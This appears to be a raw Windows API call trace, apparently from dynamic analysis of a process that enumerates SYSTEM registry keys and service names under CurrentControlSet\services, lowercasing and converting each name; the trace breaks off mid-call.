[0253.983] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0253.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.983] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0253.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.983] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0253.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.983] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.984] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0253.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.984] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1e38, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0253.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.984] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0253.984] RegCloseKey (hKey=0xc4) returned 0x0 [0253.984] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0253.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.985] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0253.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.985] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0253.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.985] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0253.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.985] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0253.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0253.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.986] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.986] RegCloseKey (hKey=0x14c) returned 0x0 [0253.986] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1e38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0253.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.986] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0253.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1cd0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0253.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.986] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0253.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1e38, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0253.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.987] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0253.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1cd0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0253.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.987] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0253.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1e38, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0253.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.987] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0253.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1cd0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0253.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.988] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1e38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0253.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.988] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0253.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.988] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0253.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0253.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0253.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.988] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0253.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, 